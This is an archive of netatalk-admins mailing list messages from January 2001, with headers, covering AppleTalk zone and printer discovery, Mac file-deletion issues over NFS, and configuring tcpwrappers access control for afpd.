From: Deepak Gupta <deepak@cpa27.ups-tlse.fr>
X-Sender: deepak@cpa227.ups-tlse.fr
To: netatalk-admins@umich.edu
Subject: Is it a Zone problem ?
Message-ID: <Pine.LNX.4.21.0101171442450.17861-100000@cpa227.ups-tlse.fr>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=X-UNKNOWN
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by terminator.rsug.itd.umich.edu id JAA09712

I have ibook (blue) with MacOS and Apple Personal Laser NTR.
But I'm love of Linux, so I have SuSe Linux on ibook with 
netetalk running. ibook do not have any apple/parellel/serial port so to
use the printer I have Farallon EtherMac Printer adapter, which connect
to Ethernet port on ibook, and Appletalk port on Printer. 
Everything works fine with ibook running MacOS, and I use printer
without any problem.

But my favourite linux has problem. After setting Netatalk, by 
following the various hints from Web etc. 
Running nbplkup gives
[root@linux /root]# nbplkup             
                         linux:AFPServer   65280.200:128
                         linux:netatalk    65280.200:4
                         linux:Workstation 65280.200:4

But do not shows any Printer entry.

And getzone gives
[root@linux /root]# getzones
atp_rresp: Connection timed out

Many people seems to get this getzone response on Single Zone
network, but some are not (As I get to know by browsing mailing list).
I will also don't bother about it, if my printer works. 

I am Guessing following problems (but don't know solutions).

1) Printer is on a zone differnet from that of default, and hence
nbplkup do not shows it. As getzones fails, I can't even find out
that if there exist a zone other than default (and what's its name).
But if this is the problem, why things work with MacOS ? And how 
to confirm it and correct it, finaly, on linux?

2) Do I need to do something `special' to see the printer across
Farallon Adapter ? (But as I remember I never did anything special
to make it run under MacOS. It just worked!) If yes, What ?

3) Rare possibility, but I need to define the printer's Name/Zone
somewhere. But where and how ?

4) Something else ......

Please HELP. Your help will prevent me to reboot the machine in MacOS to
just take the printouts.

=>dpk
-- 
Deepak K Gupta
C.P.A.T.			  Emails: deepak@cpa27.ups-tlse.fr
Université Paul Sabatier		  dpk011@yahoo.com
118 rte de Narbonne		  Fax:  (33) 561 556 332
31062 Toulouse, Cedex 4, FRANCE		
Phones: [Office] (33) 561 556 864, [Residence] (33) 561 251 095


From netatalk.administrators-errors@umich.edu  Wed Jan 17 09:19:03 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA09771
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 17 Jan 2001 09:19:03 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA04857
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 17 Jan 2001 09:19:03 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA04822
	for netatalk.administrators-members@umich.edu; Wed, 17 Jan 2001 09:19:02 -0500 (EST)
Received: from cpa27.ups-tlse.fr (cpa27.ups-tlse.fr [130.120.96.27])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA04730
	for <netatalk-admins@umich.edu>; Wed, 17 Jan 2001 09:18:59 -0500 (EST)
Received: from cpa227.ups-tlse.fr (IDENT:deepak@cpa227.ups-tlse.fr [130.120.96.227])
	by cpa27.ups-tlse.fr (8.9.0/8.9.0) with ESMTP id PAA12898
	for <netatalk-admins@umich.edu>; Wed, 17 Jan 2001 15:06:38 +0100 (MET)
Date: Wed, 17 Jan 2001 15:22:12 +0100 (CET)
From: Deepak Gupta <deepak@cpa27.ups-tlse.fr>
X-Sender: deepak@cpa227.ups-tlse.fr
To: netatalk-admins@umich.edu
Subject: subscribe
Message-ID: <Pine.LNX.4.21.0101171521300.17861-100000@cpa227.ups-tlse.fr>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=X-UNKNOWN
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by terminator.rsug.itd.umich.edu id JAA09771


-- 
Deepak K Gupta
C.P.A.T.			  Emails: deepak@cpa27.ups-tlse.fr
Université Paul Sabatier		  dpk011@yahoo.com
118 rte de Narbonne		  Fax:  (33) 561 556 332
31062 Toulouse, Cedex 4, FRANCE		
Phones: [Office] (33) 561 556 864, [Residence] (33) 561 251 095


From netatalk.administrators-errors@umich.edu  Wed Jan 17 09:55:40 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA10655
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 17 Jan 2001 09:55:40 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA11165
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 17 Jan 2001 09:55:40 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA11140
	for netatalk.administrators-members@umich.edu; Wed, 17 Jan 2001 09:55:39 -0500 (EST)
Received: from clmboh1-smtp3.columbus.rr.com (dhcp065-024-000-112.columbus.rr.com [65.24.0.112] (may be forged))
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA11103
	for <netatalk-admins@umich.edu>; Wed, 17 Jan 2001 09:55:38 -0500 (EST)
Received: from mail.iowna.com (dhcp065-024-023-038.columbus.rr.com [65.24.23.38])
	by clmboh1-smtp3.columbus.rr.com (8.11.2/8.11.2) with ESMTP id f0HEpv721640;
	Wed, 17 Jan 2001 09:51:57 -0500 (EST)
Sender: wmoran@clmboh1-smtp3.columbus.rr.com
Message-ID: <3A65B160.2427660E@mail.iowna.com>
Date: Wed, 17 Jan 2001 09:51:12 -0500
From: Bill Moran <wmoran@mail.iowna.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.2-STABLE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: Alex Yu <yua@artlover.com>
CC: netatalk-admins@umich.edu
Subject: Re: Macs unable to delete directories created by other systems
References: <IEEILAPLNJHNOBJJALJJGEGJCDAA.yua@artlover.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Alex Yu wrote:
> 
> > This is what happens: When a directory tree is created from NT via
> > NFS, the Macintosh can not delete the directory. It reports that the
> 
> How many characters did you use on files/dirs?  Mac will have problems for
> seeing and accessing files/dirs with more than 32 characters.

Thanks for the reply.
I don't think that's it. When I started diagnosing the problem I was
using directories called "temp" and "test" and got the exact same
results.

-Bill

From netatalk.administrators-errors@umich.edu  Wed Jan 17 10:19:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA11352
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 17 Jan 2001 10:19:20 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA05046
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 17 Jan 2001 10:19:14 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA04975
	for netatalk.administrators-members@umich.edu; Wed, 17 Jan 2001 10:19:12 -0500 (EST)
Received: from kanarie.xilay.cxm (cc56962-a.ensch1.ov.nl.home.com [212.204.167.144])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA04895
	for <netatalk-admins@umich.edu>; Wed, 17 Jan 2001 10:19:10 -0500 (EST)
From: vgb@enschede.dhs.org
Received: (from lp@localhost)
	by kanarie.xilay.cxm (8.10.2/8.10.2/SuSE Linux 8.10.0-0.3) id f0HFJOq14250
	for netatalk-admins@umich.edu; Wed, 17 Jan 2001 16:19:24 +0100
X-Authentication-Warning: kanarie.xilay.cxm: lp set sender to vgb@enschede.dhs.org using -f
To: netatalk-admins@umich.edu
Subject: Several problems concerning Mac-Quark-Linux-Printing
Message-ID: <979744764.3a65b7fc9ec9d@kanarie.xilay.cxm>
Date: Wed, 17 Jan 2001 16:19:24 +0100 (CET)
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
User-Agent: IMP/PHP IMAP webmail program 2.2.3
X-Originating-IP: 213.51.84.34

I am using: Netatalk-1.4b2+asun2.1.3 on SuSE 7.0 

I am having several problems with Macs copying files 
to/from the Linux box. The message is:
..bla.. and ..bla.. are the same file

altough the file does not exists at the Mac or the 
Linux-box, creating the folder seperately and then 
copying the files beneath works!

Next, I am trying to print by lpr from the Mac to the 
Linux-box, the Mac responds that the printer is not 
accepting printjobs. I can print from another Linux-box 
to the same printer by lpr, what to do?

With friendly regards,

Vincent

From netatalk.administrators-errors@umich.edu  Wed Jan 17 10:52:39 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA12575
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 17 Jan 2001 10:52:39 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA27399
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 17 Jan 2001 10:52:39 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA27380
	for netatalk.administrators-members@umich.edu; Wed, 17 Jan 2001 10:52:38 -0500 (EST)
Received: from inside.trenza.com ([209.58.181.227])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA27314
	for <netatalk-admins@umich.edu>; Wed, 17 Jan 2001 10:52:36 -0500 (EST)
Received: from Mumia (mumia.trenza.com [10.0.0.192])
	by inside.trenza.com (8.9.3/8.9.3) with SMTP id KAA29978
	for <netatalk-admins@umich.edu>; Wed, 17 Jan 2001 10:49:11 -0500
Message-ID: <013d01c0809e$46c99ce0$c000000a@Mumia>
From: "Keith Baker" <keith@trenza.com>
To: <netatalk-admins@umich.edu>
Subject: ASIP issues...
Date: Wed, 17 Jan 2001 10:58:03 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

For those of you with appleshareIP issues...
Soem people have been reporting that ASIP is not working but vanila DDP is
working.  I haven't tried it myself (I am having these problems) but I think
I have a fix...  I thought I would be snazzy and compile in every option
under the
sun...  --with-ssl-dir --with-pam --with-everything-else-on-this-earth...  I
compiled in TCP Wrappers and my default policy is ALL : DENY...  DOH!  I
should be able to allow ASIP through and all should be happy (I hope)


From netatalk.administrators-errors@umich.edu  Wed Jan 17 11:02:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA12811
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 17 Jan 2001 11:02:12 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA14954
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 17 Jan 2001 11:02:12 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA14927
	for netatalk.administrators-members@umich.edu; Wed, 17 Jan 2001 11:02:11 -0500 (EST)
Received: from cpa27.ups-tlse.fr (cpa27.ups-tlse.fr [130.120.96.27])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA14855
	for <netatalk-admins@umich.edu>; Wed, 17 Jan 2001 11:02:10 -0500 (EST)
Received: from cpa227.ups-tlse.fr (IDENT:deepak@cpa227.ups-tlse.fr [130.120.96.227])
	by cpa27.ups-tlse.fr (8.9.0/8.9.0) with ESMTP id QAA13214;
	Wed, 17 Jan 2001 16:49:46 +0100 (MET)
Date: Wed, 17 Jan 2001 17:05:20 +0100 (CET)
From: Deepak Gupta <deepak@cpa27.ups-tlse.fr>
X-Sender: deepak@cpa227.ups-tlse.fr
To: vgb@enschede.dhs.org
cc: netatalk-admins@umich.edu
Subject: Re: Is it a Zone problem ?
In-Reply-To: <979743926.3a65b4b61886b@kanarie.xilay.cxm>
Message-ID: <Pine.LNX.4.21.0101171659430.18281-100000@cpa227.ups-tlse.fr>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=X-UNKNOWN
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by terminator.rsug.itd.umich.edu id LAA12811

On Wed, 17 Jan 2001 vgb@enschede.dhs.org wrote:

> Dear Deepak,
> 
> did you set the -router option in the atalkd.conf, 
> something like:
> 
> eth0 -router -phase 2 -net 2005-2200 -addr 2005.25 -
> zone "XILAY"

I'm not clear, Is a Question or Answer ?
Means should I try doing it or you need this information to
provide further help. By the way, my atalkd.conf is
eth0 -phase 2 -net 0-65534 -addr 65280.157

which is set by netetalk itself.

=>dpk
-- 
Deepak K Gupta
C.P.A.T.			  Emails: deepak@cpa27.ups-tlse.fr
Université Paul Sabatier		  dpk011@yahoo.com
118 rte de Narbonne		  Fax:  (33) 561 556 332
31062 Toulouse, Cedex 4, FRANCE		
Phones: [Office] (33) 561 556 864, [Residence] (33) 561 251 095


From netatalk.administrators-errors@umich.edu  Wed Jan 17 11:13:49 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA13157
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 17 Jan 2001 11:13:49 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA10254
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 17 Jan 2001 11:13:49 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA10229
	for netatalk.administrators-members@umich.edu; Wed, 17 Jan 2001 11:13:48 -0500 (EST)
Received: from bowman.scf.orst.edu (bowman.SCF.ORST.EDU [128.193.161.87])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA10133
	for <netatalk-admins@umich.edu>; Wed, 17 Jan 2001 11:13:46 -0500 (EST)
Received: from localhost (morgan@localhost)
	by bowman.scf.orst.edu (8.9.3/8.9.3) with ESMTP id IAA22531;
	Wed, 17 Jan 2001 08:13:41 -0800
X-Authentication-Warning: bowman.scf.orst.edu: morgan owned process doing -bs
Date: Wed, 17 Jan 2001 08:13:40 -0800 (PST)
From: andrew morgan <morgan@orst.edu>
X-Sender:  <morgan@bowman.scf.orst.edu>
To: Deepak Gupta <deepak@cpa27.ups-tlse.fr>
cc: <netatalk-admins@umich.edu>
Subject: Re: Is it a Zone problem ?
In-Reply-To: <Pine.LNX.4.21.0101171442450.17861-100000@cpa227.ups-tlse.fr>
Message-ID: <Pine.LNX.4.30.0101170812390.22437-100000@bowman.scf.orst.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Wed, 17 Jan 2001, Deepak Gupta wrote:

> 1) Printer is on a zone differnet from that of default, and hence
> nbplkup do not shows it. As getzones fails, I can't even find out
> that if there exist a zone other than default (and what's its name).
> But if this is the problem, why things work with MacOS ? And how
> to confirm it and correct it, finaly, on linux?

You could confirm this by booting up MacOS and seeing what it tells you in
the chooser with respect to the zone and the printer's name.

	Andy


From netatalk.administrators-errors@umich.edu  Wed Jan 17 11:24:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA13845
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 17 Jan 2001 11:24:25 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA28341
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 17 Jan 2001 11:24:19 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA28327
	for netatalk.administrators-members@umich.edu; Wed, 17 Jan 2001 11:24:18 -0500 (EST)
Received: from ee.cornell.edu (anise.ee.cornell.edu [128.84.239.14])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA28277
	for <netatalk-admins@umich.edu>; Wed, 17 Jan 2001 11:24:17 -0500 (EST)
Received: from [128.84.239.190] (harrier.ee.cornell.edu [128.84.239.190])
	by ee.cornell.edu (8.9.3/8.9.1) with ESMTP id LAA28461;
	Wed, 17 Jan 2001 11:24:15 -0500 (EST)
Mime-Version: 1.0
X-Sender: rz10@postoffice.mail.cornell.edu
Message-Id: <p04320403b68b7698300e@[128.84.239.190]>
In-Reply-To: <20010117084950.A12737@milton.king.net.nz>
References: <20010117084950.A12737@milton.king.net.nz>
Date: Wed, 17 Jan 2001 11:23:04 -0500
To: Alex King <alex@milton.king.net.nz>, netatalk-admins@umich.edu
From: Ray Zimmerman <rz10@cornell.edu>
Subject: Re: FAQ
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 8:49 AM +1300 1/17/01, Alex King wrote:
>Is there a reasonably up to date FAQ around?  I am thinking of
>questions I have seen on the list lately re. Compiling, Permissions
>problems, file locking, availability etc.
>
>If not would anyone be interested if I compiled one and posted it to
>the list periodically?

There's a FAQ at ...

	http://netatalk.sourceforge.net/faq.php

... but I don't know how up-to-date it is. I for one would certainly 
appreciate any work done to keep it current. I'm about to take a 
crack at installing the latest version on RedHat 6.2 and good docs 
are always a plus.

	Ray

From netatalk.administrators-errors@umich.edu  Wed Jan 17 13:12:59 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA17758
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 17 Jan 2001 13:12:59 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA10061
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 17 Jan 2001 13:12:53 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA10035
	for netatalk.administrators-members@umich.edu; Wed, 17 Jan 2001 13:12:52 -0500 (EST)
Received: from jax.cl.msu.edu (jax.cl.msu.edu [35.8.1.151])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA09954
	for <netatalk-admins@umich.edu>; Wed, 17 Jan 2001 13:12:51 -0500 (EST)
Received: (from sdevine@localhost)
	by jax.cl.msu.edu (8.9.3+Sun/8.9.1) id NAA07410
	for netatalk-admins@umich.edu; Wed, 17 Jan 2001 13:12:50 -0500 (EST)
From: Steve Devine <sdevine@msu.edu>
Reply-To: sdevine@msu.edu
Organization: Michigan State University
To: netatalk-admins@umich.edu
Subject: tcpwrappers & inetd.conf
Date: Wed, 17 Jan 2001 13:03:29 -0500
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
MIME-Version: 1.0
Message-Id: <01011713124909.06936@jax>
Content-Transfer-Encoding: 8bit

Hello all, 
I have been trying to implement tcpwrappers and netatalk in order to limit
connections via hosts.allow and hosts.deny. I have seen statements in archives
stating that the inetd.conf file is to be left alone. All seem to advocate an
entry in the services file as such:
afpovertcp      548/tcp
afpovertcp      548/udp
I wonder if netatalk is not called via inetd.conf how is it run? 
A rc script maybe and if so is a reference to tcpd required?
Please if anyone is successfully using tcpwrappers / netatalk I would greatly
hearing how you did it.
I am using tcpwrappers 7.6 netatalk 1.4b2+asun2.1.3 on a Sun Ultra5 / Solaris
2.6
Thanks
///////////////////////////////////
Steve Devine
Information Technology Professional
MSU Computer Laboratory
phone: (517) 355-4500 x242
fax: (517) 353-9847
/////////////////


From netatalk.administrators-errors@umich.edu  Wed Jan 17 13:16:19 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA18061
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 17 Jan 2001 13:16:19 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA16056
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 17 Jan 2001 13:16:13 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA16028
	for netatalk.administrators-members@umich.edu; Wed, 17 Jan 2001 13:16:12 -0500 (EST)
Received: from inside.trenza.com ([209.58.181.227])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA15973
	for <netatalk-admins@umich.edu>; Wed, 17 Jan 2001 13:16:11 -0500 (EST)
Received: from Mumia (mumia.trenza.com [10.0.0.192])
	by inside.trenza.com (8.9.3/8.9.3) with SMTP id NAA19627
	for <netatalk-admins@umich.edu>; Wed, 17 Jan 2001 13:12:52 -0500
Message-ID: <017101c080b2$58f1a7a0$c000000a@Mumia>
From: "Keith Baker" <keith@trenza.com>
To: <netatalk-admins@umich.edu>
Subject:  FAQ
Date: Wed, 17 Jan 2001 13:21:45 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400


Who would be the person in charge of this faq...  it is a little lacking at
 the moment...  I would be willing to add stuff if I had access...  I've
gotten a fair bit of knowledge over the past few weeks fighting with it...
            Keith
> ----- Original Message -----
> From: "Ray Zimmerman" <rz10@cornell.edu>
> To: "Alex King" <alex@milton.king.net.nz>; <netatalk-admins@umich.edu>
> Sent: Wednesday, January 17, 2001 11:23 AM
> Subject: Re: FAQ
> 
> 
> > At 8:49 AM +1300 1/17/01, Alex King wrote:
> > >Is there a reasonably up to date FAQ around?  I am thinking of
> > >questions I have seen on the list lately re. Compiling, Permissions
> > >problems, file locking, availability etc.
> > >
> > >If not would anyone be interested if I compiled one and posted it to
> > >the list periodically?
> >
> > There's a FAQ at ...
> >
> > http://netatalk.sourceforge.net/faq.php
> >
> > ... but I don't know how up-to-date it is. I for one would certainly
> > appreciate any work done to keep it current. I'm about to take a
> > crack at installing the latest version on RedHat 6.2 and good docs
> > are always a plus.
> >
> > Ray
> 


From netatalk.administrators-errors@umich.edu  Wed Jan 17 13:32:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA18534
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 17 Jan 2001 13:32:51 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA08650
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 17 Jan 2001 13:32:51 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA08618
	for netatalk.administrators-members@umich.edu; Wed, 17 Jan 2001 13:32:49 -0500 (EST)
Received: from bowman.scf.orst.edu (bowman.SCF.ORST.EDU [128.193.161.87])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA08562
	for <netatalk-admins@umich.edu>; Wed, 17 Jan 2001 13:32:47 -0500 (EST)
Received: from localhost (morgan@localhost)
	by bowman.scf.orst.edu (8.9.3/8.9.3) with ESMTP id KAA31046;
	Wed, 17 Jan 2001 10:32:46 -0800
X-Authentication-Warning: bowman.scf.orst.edu: morgan owned process doing -bs
Date: Wed, 17 Jan 2001 10:32:46 -0800 (PST)
From: andrew morgan <morgan@orst.edu>
X-Sender:  <morgan@bowman.scf.orst.edu>
To: Steve Devine <sdevine@msu.edu>
cc: <netatalk-admins@umich.edu>
Subject: Re: tcpwrappers & inetd.conf
In-Reply-To: <01011713124909.06936@jax>
Message-ID: <Pine.LNX.4.30.0101171031120.22437-100000@bowman.scf.orst.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Wed, 17 Jan 2001, Steve Devine wrote:

> Hello all,
> I have been trying to implement tcpwrappers and netatalk in order to limit
> connections via hosts.allow and hosts.deny. I have seen statements in archives
> stating that the inetd.conf file is to be left alone. All seem to advocate an
> entry in the services file as such:
> afpovertcp      548/tcp
> afpovertcp      548/udp
> I wonder if netatalk is not called via inetd.conf how is it run?
> A rc script maybe and if so is a reference to tcpd required?
> Please if anyone is successfully using tcpwrappers / netatalk I would greatly
> hearing how you did it.
> I am using tcpwrappers 7.6 netatalk 1.4b2+asun2.1.3 on a Sun Ultra5 / Solaris
> 2.6

You can compile afpd with tcp-wrappers support in it, so it will honor any
directories itself.  You don't need to call it within inetd or tcpd for
this to work.  The service name in your allow/deny files is "afpd".

On most installations, there is an rc script which starts atalkd, afpd,
and papd.

	Andy


From netatalk.administrators-errors@umich.edu  Wed Jan 17 14:19:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA19695
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 17 Jan 2001 14:19:14 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA22111
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 17 Jan 2001 14:19:14 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA22094
	for netatalk.administrators-members@umich.edu; Wed, 17 Jan 2001 14:19:13 -0500 (EST)
Received: from jax.cl.msu.edu (jax.cl.msu.edu [35.8.1.151])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA22008
	for <netatalk-admins@umich.edu>; Wed, 17 Jan 2001 14:19:11 -0500 (EST)
Received: (from sdevine@localhost)
	by jax.cl.msu.edu (8.9.3+Sun/8.9.1) id OAA07488;
	Wed, 17 Jan 2001 14:18:59 -0500 (EST)
From: Steve Devine <sdevine@msu.edu>
Reply-To: sdevine@msu.edu
Organization: Michigan State University
To: andrew morgan <morgan@orst.edu>
Subject: Re: tcpwrappers & inetd.conf
Date: Wed, 17 Jan 2001 14:10:42 -0500
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
Cc: <netatalk-admins@umich.edu>
References: <Pine.LNX.4.30.0101171031120.22437-100000@bowman.scf.orst.edu>
In-Reply-To: <Pine.LNX.4.30.0101171031120.22437-100000@bowman.scf.orst.edu>
MIME-Version: 1.0
Message-Id: <0101171418590A.06936@jax>
Content-Transfer-Encoding: 8bit

On Wed, 17 Jan 2001, andrew morgan wrote:
> On Wed, 17 Jan 2001, Steve Devine wrote:
> 
> > Hello all,
> > I have been trying to implement tcpwrappers and netatalk in order to limit
> > connections via hosts.allow and hosts.deny. I have seen statements in archives
> > stating that the inetd.conf file is to be left alone. All seem to advocate an
> > entry in the services file as such:
> > afpovertcp      548/tcp
> > afpovertcp      548/udp
> > I wonder if netatalk is not called via inetd.conf how is it run?
> > A rc script maybe and if so is a reference to tcpd required?
> > Please if anyone is successfully using tcpwrappers / netatalk I would greatly
> > hearing how you did it.
> > I am using tcpwrappers 7.6 netatalk 1.4b2+asun2.1.3 on a Sun Ultra5 / Solaris
> > 2.6
> 
> You can compile afpd with tcp-wrappers support in it, so it will honor any
> directories itself.  You don't need to call it within inetd or tcpd for
> this to work.  The service name in your allow/deny files is "afpd".
>
Thanks for your quick response. Am I to leave the entry in services file? This
seems less than usefull without inetd calling afpd. I have compiled netatalk
with tcp wrappers support .. in the Makefile there is this reference to 
tcpwrappers :
# Location of the tcp wrapper library and include files. Comment this out 
# if you don't want tcp wrapper support. having tcp wrapper support is
# highly recommended.
TCPWRAPDIR=/usr/local/tcp_wrappers
I assume this to mean the directory that contains the source code.  I have
tried this sixteen ways to sunday an I have yet to be able to control access
via hosts.allow
BTW:
 netatalk seems happy to compile regardless of what I put under the tcpwrapdir=



